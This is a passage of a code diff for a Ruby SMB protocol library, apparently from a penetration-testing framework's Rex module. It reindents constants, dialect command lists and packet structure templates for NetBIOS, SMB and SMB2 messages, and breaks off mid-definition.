SMB_TRANS2_RES_WORD_COUNT = 0x0a + + # SMB Dialect Compatibility + DIALECT = {} + + DIALECT['PC NETWORK PROGRAM 1.0'] = [ + SMB_COM_CHECK_DIRECTORY, + SMB_COM_CLOSE, + SMB_COM_CLOSE_PRINT_FILE, + SMB_COM_CREATE, + SMB_COM_CREATE_DIRECTORY, + SMB_COM_CREATE_NEW, + SMB_COM_CREATE_TEMPORARY, + SMB_COM_DELETE, + SMB_COM_DELETE_DIRECTORY, + SMB_COM_FLUSH, + SMB_COM_GET_PRINT_QUEUE, + SMB_COM_LOCK_BYTE_RANGE, + SMB_COM_NEGOTIATE, + SMB_COM_OPEN, + SMB_COM_OPEN_PRINT_FILE, + SMB_COM_PROCESS_EXIT, + SMB_COM_QUERY_INFORMATION, + SMB_COM_QUERY_INFORMATION_DISK, + SMB_COM_READ, + SMB_COM_RENAME, + SMB_COM_SEARCH, + SMB_COM_SEEK, + SMB_COM_SET_INFORMATION, + SMB_COM_TREE_CONNECT, + SMB_COM_TREE_DISCONNECT, + SMB_COM_UNLOCK_BYTE_RANGE, + SMB_COM_WRITE, + SMB_COM_WRITE_PRINT_FILE + ] + + DIALECT['LANMAN 1.0'] = DIALECT['PC NETWORK PROGRAM 1.0'] + [ + SMB_COM_COPY, + SMB_COM_ECHO, + SMB_COM_FIND, + SMB_COM_FIND_CLOSE, + SMB_COM_FIND_UNIQUE, + SMB_COM_IOCTL, + SMB_COM_IOCTL_SECONDARY, + SMB_COM_LOCK_AND_READ, + SMB_COM_LOCKING_ANDX, + SMB_COM_MOVE, + SMB_COM_OPEN_ANDX, + SMB_COM_QUERY_INFORMATION2, + SMB_COM_READ_ANDX, + SMB_COM_READ_MPX, + SMB_COM_READ_RAW, + SMB_COM_SESSION_SETUP_ANDX, + SMB_COM_SET_INFORMATION2, + SMB_COM_TRANSACTION, + SMB_COM_TRANSACTION_SECONDARY, + SMB_COM_TREE_CONNECT_ANDX, + SMB_COM_WRITE_AND_CLOSE, + SMB_COM_WRITE_AND_UNLOCK, + SMB_COM_WRITE_ANDX, + SMB_COM_WRITE_COMPLETE, + SMB_COM_WRITE_MPX, + SMB_COM_WRITE_MPX_SECONDARY, + SMB_COM_WRITE_RAW + ] + + DIALECT['LM1.2X002'] = DIALECT['LANMAN 1.0'] + [ + SMB_COM_FIND_CLOSE2, + SMB_COM_LOGOFF_ANDX, + SMB_COM_TRANSACTION2, + SMB_COM_TRANSACTION2_SECONDARY + ] + + DIALECT['NTLM 0.12'] = DIALECT['LM1.2X002'] + [ + SMB_COM_NT_CANCEL, + SMB_COM_NT_CREATE_ANDX, + SMB_COM_NT_RENAME, + SMB_COM_NT_TRANSACT, + SMB_COM_NT_TRANSACT_SECONDARY + ] + + # Create a NetBIOS session packet template + def self.make_nbs (template) + Rex::Struct2::CStructTemplate.new( + [ 'uint8', 'Type', 0 ], + [ 'uint8', 'Flags', 0 ], + [ 'uint16n', 'PayloadLen', 0 ], + [ 'template', 'Payload', template ] + ).create_restraints( + [ 'Payload', 'PayloadLen', nil, true ] + ) + end -# SMB_COM_TRANSACTION2 Commands -TRANS2_OPEN2 = 0 -TRANS2_FIND_FIRST2 = 1 -TRANS2_FIND_NEXT2 = 2 -TRANS2_QUERY_FS_INFO = 3 -TRANS2_SET_PATH_INFO = 6 - -TRANS2_CREATE_DIRECTORY = 13 - -# SMB_COM_TRANSACTION2 QUERY_FS_INFO information levels -SMB_INFO_ALLOCATION = 1 -SMB_INFO_VOLUME = 2 -SMB_QUERY_FS_VOLUME_INFO = 0x102 -SMB_QUERY_FS_SIZE_INFO = 0x103 -SMB_QUERY_FS_DEVICE_INFO = 0x104 -SMB_QUERY_FS_ATTRIBUTE_INFO = 0x105 - -# SMB_COM_TRANSACTION2 QUERY_PATH_INFO information levels -SMB_INFO_STANDARD = 1 -SMB_INFO_QUERY_EA_SIZE = 2 -SMB_INFO_QUERY_EAS_FROM_LIST = 3 -SMB_INFO_QUERY_ALL_EAS = 4 -SMB_INFO_IS_NAME_VALID = 6 -SMB_QUERY_FILE_BASIC_INFO = 0x101 -SMB_QUERY_FILE_STANDARD_INFO = 0x102 -SMB_QUERY_FILE_EA_INFO = 0x103 -SMB_QUERY_FILE_NAME_INFO = 0x104 -SMB_QUERY_FILE_ALL_INFO = 0x107 -SMB_QUERY_FILE_ALT_NAME_INFO = 0x108 -SMB_QUERY_FILE_STREAM_INFO = 0x109 -SMB_QUERY_FILE_COMPRESSION_INFO = 0x10B -SMB_QUERY_FILE_UNIX_BASIC = 0x200 -SMB_QUERY_FILE_UNIX_LINK = 0x201 -SMB_INFO_PASSTHROUGH = 0x1000 - - -# Device Types -FILE_DEVICE_BEEP = 0x00000001 -FILE_DEVICE_CD_ROM = 0x00000002 -FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003 -FILE_DEVICE_CONTROLLER = 0x00000004 -FILE_DEVICE_DATALINK = 0x00000005 -FILE_DEVICE_DFS = 0x00000006 -FILE_DEVICE_DISK = 0x00000007 -FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008 -FILE_DEVICE_FILE_SYSTEM = 0x00000009 -FILE_DEVICE_INPORT_PORT = 0x0000000A -FILE_DEVICE_KEYBOARD = 0x0000000B -FILE_DEVICE_MAILSLOT = 0x0000000C -FILE_DEVICE_MIDI_IN = 0x0000000D -FILE_DEVICE_MIDI_OUT = 0x0000000E -FILE_DEVICE_MOUSE = 0x0000000F -FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010 -FILE_DEVICE_NAMED_PIPE = 0x00000011 -FILE_DEVICE_NETWORK = 0x00000012 -FILE_DEVICE_NETWORK_BROWSER = 0x00000013 -FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x00000014 -FILE_DEVICE_NULL = 0x00000015 -FILE_DEVICE_PARALLEL_PORT = 0x00000016 -FILE_DEVICE_PHYSICAL_NETCARD = 0x00000017 -FILE_DEVICE_PRINTER = 0x00000018 -FILE_DEVICE_SCANNER = 0x00000019 -FILE_DEVICE_SERIAL_MOUSE_PORT = 0x0000001A -FILE_DEVICE_SERIAL_PORT = 0x0000001B -FILE_DEVICE_SCREEN = 0x0000001C -FILE_DEVICE_SOUND = 0x0000001D -FILE_DEVICE_STREAMS = 0x0000001E -FILE_DEVICE_TAPE = 0x0000001F -FILE_DEVICE_TAPE_FILE_SYSTEM = 0x00000020 -FILE_DEVICE_TRANSPORT = 0x00000021 -FILE_DEVICE_UNKNOWN = 0x00000022 -FILE_DEVICE_VIDEO = 0x00000023 -FILE_DEVICE_VIRTUAL_DISK = 0x00000024 -FILE_DEVICE_WAVE_IN = 0x00000025 -FILE_DEVICE_WAVE_OUT = 0x00000026 -FILE_DEVICE_8042_PORT = 0x00000027 -FILE_DEVICE_NETWORK_REDIRECTOR = 0x00000028 -FILE_DEVICE_BATTERY = 0x00000029 -FILE_DEVICE_BUS_EXTENDER = 0x0000002A -FILE_DEVICE_MODEM = 0x0000002B -FILE_DEVICE_VDM = 0x0000002C - -# File and Device Attributes -FILE_REMOVABLE_MEDIA = 0x00000001 -FILE_READ_ONLY_DEVICE = 0x00000002 -FILE_FLOPPY_DISKETTE = 0x00000004 -FILE_WRITE_ONE_MEDIA = 0x00000008 -FILE_REMOTE_DEVICE = 0x00000010 -FILE_DEVICE_IS_MOUNTED = 0x00000020 -FILE_VIRTUAL_VOLUME = 0x00000040 -FILE_CASE_SENSITIVE_SEARCH = 0x00000001 -FILE_CASE_PRESERVED_NAMES = 0x00000002 -FILE_PERSISTENT_ACLS = 0x00000004 -FILE_FILE_COMPRESSION = 0x00000008 -FILE_VOLUME_QUOTAS = 0x00000010 -FILE_VOLUME_IS_COMPRESSED = 0x00008000 - -# SMB_EXT_FILE_ATTR -# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx -SMB_EXT_FILE_ATTR_READONLY = 0x00000001 -SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 -SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 -SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 -SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 -SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 -SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 -SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 -SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 -SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 -SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 -SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 -SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 -SMB_EXT_FILE_NO_BUFFERING = 0x20000000 -SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 - -# SMB Error Codes -SMB_STATUS_SUCCESS = 0x00000000 -SMB_ERROR_BUFFER_OVERFLOW = 0x80000005 -SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 -SMB_STATUS_ACCESS_DENIED = 0xC0000022 -SMB_STATUS_LOGON_FAILURE = 0xC000006D - -# SMB Dialect Compatibility -DIALECT = {} - -DIALECT['PC NETWORK PROGRAM 1.0'] = [ - SMB_COM_CHECK_DIRECTORY, - SMB_COM_CLOSE, - SMB_COM_CLOSE_PRINT_FILE, - SMB_COM_CREATE, - SMB_COM_CREATE_DIRECTORY, - SMB_COM_CREATE_NEW, - SMB_COM_CREATE_TEMPORARY, - SMB_COM_DELETE, - SMB_COM_DELETE_DIRECTORY, - SMB_COM_FLUSH, - SMB_COM_GET_PRINT_QUEUE, - SMB_COM_LOCK_BYTE_RANGE, - SMB_COM_NEGOTIATE, - SMB_COM_OPEN, - SMB_COM_OPEN_PRINT_FILE, - SMB_COM_PROCESS_EXIT, - SMB_COM_QUERY_INFORMATION, - SMB_COM_QUERY_INFORMATION_DISK, - SMB_COM_READ, - SMB_COM_RENAME, - SMB_COM_SEARCH, - SMB_COM_SEEK, - SMB_COM_SET_INFORMATION, - SMB_COM_TREE_CONNECT, - SMB_COM_TREE_DISCONNECT, - SMB_COM_UNLOCK_BYTE_RANGE, - SMB_COM_WRITE, - SMB_COM_WRITE_PRINT_FILE -] - -DIALECT['LANMAN 1.0'] = DIALECT['PC NETWORK PROGRAM 1.0'] + [ - SMB_COM_COPY, - SMB_COM_ECHO, - SMB_COM_FIND, - SMB_COM_FIND_CLOSE, - SMB_COM_FIND_UNIQUE, - SMB_COM_IOCTL, - SMB_COM_IOCTL_SECONDARY, - SMB_COM_LOCK_AND_READ, - SMB_COM_LOCKING_ANDX, - SMB_COM_MOVE, - SMB_COM_OPEN_ANDX, - SMB_COM_QUERY_INFORMATION2, - SMB_COM_READ_ANDX, - SMB_COM_READ_MPX, - SMB_COM_READ_RAW, - SMB_COM_SESSION_SETUP_ANDX, - SMB_COM_SET_INFORMATION2, - SMB_COM_TRANSACTION, - SMB_COM_TRANSACTION_SECONDARY, - SMB_COM_TREE_CONNECT_ANDX, - SMB_COM_WRITE_AND_CLOSE, - SMB_COM_WRITE_AND_UNLOCK, - SMB_COM_WRITE_ANDX, - SMB_COM_WRITE_COMPLETE, - SMB_COM_WRITE_MPX, - SMB_COM_WRITE_MPX_SECONDARY, - SMB_COM_WRITE_RAW -] - -DIALECT['LM1.2X002'] = DIALECT['LANMAN 1.0'] + [ - SMB_COM_FIND_CLOSE2, - SMB_COM_LOGOFF_ANDX, - SMB_COM_TRANSACTION2, - SMB_COM_TRANSACTION2_SECONDARY -] - -DIALECT['NTLM 0.12'] = DIALECT['LM1.2X002'] + [ - SMB_COM_NT_CANCEL, - SMB_COM_NT_CREATE_ANDX, - SMB_COM_NT_RENAME, - SMB_COM_NT_TRANSACT, - SMB_COM_NT_TRANSACT_SECONDARY -] - -# Create a NetBIOS session packet template -def self.make_nbs (template) - Rex::Struct2::CStructTemplate.new( - [ 'uint8', 'Type', 0 ], - [ 'uint8', 'Flags', 0 ], - [ 'uint16n', 'PayloadLen', 0 ], - [ 'template', 'Payload', template ] - ).create_restraints( - [ 'Payload', 'PayloadLen', nil, true ] + # A raw NetBIOS session template + NBRAW_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'string', 'Payload', nil, ''] + ) + NBRAW_PKT = self.make_nbs(NBRAW_HDR_PKT) + + + # The SMB header template + SMB_HDR = Rex::Struct2::CStructTemplate.new( + [ 'uint32n', 'Magic', 0xff534d42 ], + [ 'uint8', 'Command', 0 ], + [ 'uint32v', 'ErrorClass', 0 ], + [ 'uint8', 'Flags1', 0 ], + [ 'uint16v', 'Flags2', 0 ], + [ 'uint16v', 'ProcessIDHigh', 0 ], + [ 'uint32v', 'Signature1', 0 ], + [ 'uint32v', 'Signature2', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'TreeID', 0 ], + [ 'uint16v', 'ProcessID', 0 ], + [ 'uint16v', 'UserID', 0 ], + [ 'uint16v', 'MultiplexID', 0 ], + [ 'uint8', 'WordCount', 0 ] + ) + + SMB_HDR_LENGTH = 33 + + # The SMB2 header template + SMB2_HDR = Rex::Struct2::CStructTemplate.new( + [ 'uint32n', 'Magic', 0xfe534d42 ], + [ 'uint16v', 'HeaderLen', 64 ], + [ 'uint16v', 'Reserved0', 0 ], + [ 'uint32v', 'NTStatus', 0 ], + + [ 'uint16v', 'Opcode', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + + [ 'uint16v', 'Flags1', 0 ], + [ 'uint16v', 'Flags2', 0 ], + + [ 'uint32v', 'ChainOffset', 0 ], + + [ 'uint32v', 'SequenceHigh', 0 ], + [ 'uint32v', 'SequenceLow', 0 ], + + [ 'uint32v', 'ProcessID', 0 ], + [ 'uint32v', 'TreeID', 0 ], + [ 'uint32v', 'UserIDHigh', 0 ], + [ 'uint32v', 'UserIDLow', 0 ], + + [ 'uint32v', 'SignatureA', 0 ], + [ 'uint32v', 'SignatureB', 0 ], + [ 'uint32v', 'SignatureC', 0 ], + [ 'uint32v', 'SignatureD', 0 ], + [ 'string', 'Payload', nil, ''] + ) + + # A basic SMB template to read all responses + SMB_BASE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_BASE_PKT = self.make_nbs(SMB_BASE_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation + SMB_NEG_HDR_PKT = Rex::Struct2::CStructTemplate.new( + + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NEG_PKT = self.make_nbs(SMB_NEG_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (LANMAN) + SMB_NEG_RES_LM_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint16v', 'SecurityMode', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'MaxVCS', 0 ], + [ 'uint16v', 'RawMode', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'DosTime', 0 ], + [ 'uint16v', 'DosDate', 0 ], + [ 'uint16v', 'Timezone', 0 ], + [ 'uint16v', 'KeyLength', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'EncryptionKey', nil, '' ] + ).create_restraints( + [ 'EncryptionKey', 'ByteCount', nil, true ] + ) + SMB_NEG_RES_LM_PKT = self.make_nbs(SMB_NEG_RES_LM_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (NTLM) + SMB_NEG_RES_NT_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint8', 'SecurityMode', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'MaxVCS', 0 ], + [ 'uint32v', 'MaxBuff', 0 ], + [ 'uint32v', 'MaxRaw', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint32v', 'SystemTimeLow', 0 ], + [ 'uint32v', 'SystemTimeHigh', 0 ], + [ 'uint16v', 'ServerTimeZone', 0 ], + [ 'uint8', 'KeyLength', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NEG_RES_NT_PKT = self.make_nbs(SMB_NEG_RES_NT_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (ERROR) + SMB_NEG_RES_ERR_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint16v', 'ByteCount', 0 ] + ) + SMB_NEG_RES_ERR_PKT = self.make_nbs(SMB_NEG_RES_ERR_HDR_PKT) + + + # A SMB template for SMB Session Setup responses (LANMAN/NTLMV1) + SMB_SETUP_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_RES_PKT = self.make_nbs(SMB_SETUP_RES_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (LANMAN) + SMB_SETUP_LANMAN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'PasswordLen', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_LANMAN_PKT = self.make_nbs(SMB_SETUP_LANMAN_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (NTLMV1) + SMB_SETUP_NTLMV1_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'PasswordLenLM', 0 ], + [ 'uint16v', 'PasswordLenNT', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV1_PKT = self.make_nbs(SMB_SETUP_NTLMV1_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (When extended security is being used) + SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'SecurityBlobLen', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV2_PKT = self.make_nbs(SMB_SETUP_NTLMV2_HDR_PKT) + + + # A SMB template for SMB Session Setup responses (When extended security is being used) + SMB_SETUP_NTLMV2_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint16v', 'SecurityBlobLen', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV2_RES_PKT = self.make_nbs(SMB_SETUP_NTLMV2_RES_HDR_PKT) + + + # A SMB template for SMB Tree Connect requests + SMB_TREE_CONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint16v', 'PasswordLen', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_CONN_PKT = self.make_nbs(SMB_TREE_CONN_HDR_PKT) + + + # A SMB template for SMB Tree Connect requests + SMB_TREE_CONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'OptionalSupport', 0 ], + [ 'string', 'SupportWords', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_CONN_RES_PKT = self.make_nbs(SMB_TREE_CONN_RES_HDR_PKT) + + + # A SMB template for SMB Tree Disconnect requests + SMB_TREE_DISCONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_DISCONN_PKT = self.make_nbs(SMB_TREE_DISCONN_HDR_PKT) + + + # A SMB template for SMB Tree Disconnect requests + SMB_TREE_DISCONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_DISCONN_RES_PKT = self.make_nbs(SMB_TREE_DISCONN_RES_HDR_PKT) + + + # A SMB template for SMB Transaction requests + SMB_TRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'ParamCountMax', 0 ], + [ 'uint16v', 'DataCountMax', 0 ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint32v', 'Timeout', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS_PKT = self.make_nbs(SMB_TRANS_HDR_PKT) + + + # A SMB template for SMB Transaction responses + SMB_TRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'ParamDisplace', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint16v', 'DataDisplace', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved2', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS_RES_PKT = self.make_nbs(SMB_TRANS_RES_HDR_PKT) + + SMB_TRANS_RES_PKT_LENGTH = SMB_HDR_LENGTH + 22 + + # A SMB template for SMB Transaction2 requests + SMB_TRANS2_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'ParamCountMax', 0 ], + [ 'uint16v', 'DataCountMax', 0 ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint32v', 'Timeout', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS2_PKT = self.make_nbs(SMB_TRANS2_HDR_PKT) + + + # A SMB template for SMB NTTransaction requests + SMB_NTTRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCountMax', 0 ], + [ 'uint32v', 'DataCountMax', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint16v', 'Subcommand', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_PKT = self.make_nbs(SMB_NTTRANS_HDR_PKT) + + + # A SMB template for SMB NTTransaction responses + SMB_NTTRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'ParamDisplace', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint32v', 'DataDisplace', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_RES_PKT = self.make_nbs(SMB_NTTRANS_RES_HDR_PKT) + + # A SMB template for SMB NTTransaction_Secondary requests + SMB_NTTRANS_SECONDARY_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'ParamDisplace', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint32v', 'DataDisplace', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_SECONDARY_PKT = self.make_nbs(SMB_NTTRANS_SECONDARY_HDR_PKT) + + # A SMB template for SMB Create requests + SMB_CREATE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', 